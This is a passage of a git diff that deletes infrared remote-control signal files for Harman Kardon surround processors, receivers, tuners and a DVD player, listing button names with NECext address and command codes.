index d771a822b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 50 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 51 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 52 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 55 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 56 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir deleted file mode 100644 index 05e03568d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >>/ -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 20 00 00 00 -# -name: \<< -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 21 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2B 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir deleted file mode 100644 index 7958478cc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE -type: parsed -protocol: NECext -address: 12 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir deleted file mode 100644 index 6fe80499f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir deleted file mode 100644 index af6410cd2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUX -type: parsed -protocol: NECext -address: 17 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir deleted file mode 100644 index 392e14a52..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir deleted file mode 100644 index d26280dd0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VID_3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir deleted file mode 100644 index 44381e920..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ALL_OFF -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: ALL_ON -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: CHAN._+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: CHAN.- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir deleted file mode 100644 index 39697ebe2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: TUNER_SCAN_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNER_SCAN_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9C 00 00 00 -# -name: TUNER_PRESET_9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D3 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir deleted file mode 100644 index 9c57342c5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AC-3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: RF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 55 00 00 00 -# -name: OPTICAL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 56 00 00 00 -# -name: COAX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 57 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: CH._SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: SPEAKER_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8E 00 00 00 -# -name: SPEAKER_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8F 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 90 00 00 00 -# -name: MATRIX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 93 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 95 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 96 00 00 00 -# -name: STEREO/BYPASS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: 3_CHAN._STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: PRO-LOGIC -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: TUNER_PRESET_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: TUNER_PRESET_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir deleted file mode 100644 index c356ac238..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: 1/9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: 2/10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: 3/11 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: 4/12 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: 5/13 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: 6/14 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: 7/15 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: 8/16 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: MONO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir deleted file mode 100644 index 6285e83a5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir +++ /dev/null @@ -1,380 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 82 00 00 00 -# -name: AM/FM_TUNE/SRCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: SCROLL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: AM/FM_TUNE/SRCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: SCROLL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: AM/FM_*_(MEMO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: MEMO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: AM/FM_1_(ABC) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: AM/FM_2_(DEF) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: AM/FM_3_(GHI) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: AM/FM_4_(JKL) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: AM/FM_5_(MNO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: AM/FM_6_(PQR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: AM/FM_7_(STU) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: AM/FM_8_(VWX) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8F 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 91 00 00 00 -# -name: AUTO_TUNING -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 91 00 00 00 -# -name: HI-BLEND -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 92 00 00 00 -# -name: AM/FM_FM_MODE_(<) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: FUNCTION/FM_MODE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: ACT_TRACK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 94 00 00 00 -# -name: FINE_TUNE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 95 00 00 00 -# -name: AM/FM_#_(P-SCAN) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: P.SCAN(PRESET_SCAN) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: ANT_1_(ANTENNA_1) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 97 00 00 00 -# -name: ANT_2_(ANTENNA_2) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 98 00 00 00 -# -name: ON_(MAIN_POWER) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9C 00 00 00 -# -name: AM/FM_9_(YZ) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: AM/FM_0_(CLEAR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: OFF_(MAIN_POWER) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: A8 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: AA 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VID1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D3 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DB 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: DC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir deleted file mode 100644 index 10f201577..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: #_(P-SCAN) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0A 00 00 00 -# -name: AC-3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 50 00 00 00 -# -name: RF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 55 00 00 00 -# -name: OPT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 56 00 00 00 -# -name: COAX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 57 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5C 00 00 00 -# -name: CH_SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 5D 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 80 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 81 00 00 00 -# -name: SELECT_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 82 00 00 00 -# -name: SELECT_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 83 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 84 00 00 00 -# -name: DELAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8A 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8C 00 00 00 -# -name: SPEAKER_^ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8E 00 00 00 -# -name: SPEAKER_V -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 8F 00 00 00 -# -name: HALL -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 90 00 00 00 -# -name: MATRIX -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 93 00 00 00 -# -name: MOVIE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 95 00 00 00 -# -name: NIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 96 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9B 00 00 00 -# -name: 3_ST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9D 00 00 00 -# -name: P/L -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 9F 00 00 00 -# -name: AM/FM_PRESET_DISC_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: PRESET+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D0 00 00 00 -# -name: AM/FM_PRESET_DISC_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: PRESET- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D1 00 00 00 -# -name: AM/FM_SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D2 00 00 00 -# -name: AM/FM_SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D3 00 00 00 -# -name: AM/FM_PTY_(REC/) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D4 00 00 00 -# -name: AM/FM_AF_(>) -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D5 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: D9 00 00 00 -# -name: AM/FM_RDS_DISP_(STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DD 00 00 00 -# -name: INFO/RDS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DD 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 82 72 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir deleted file mode 100644 index 2eafa340f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: REC/PAUSE_O/ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 07 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0A 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0E 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1C 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir deleted file mode 100644 index 6d3137c1c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 25 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2D 00 00 00 -# -name: SearchBack -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SearchForward -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: Prev. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 33 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 34 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 35 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 36 00 00 00 -# -name: Status -type: parsed -protocol: NECext -address: 82 72 00 00 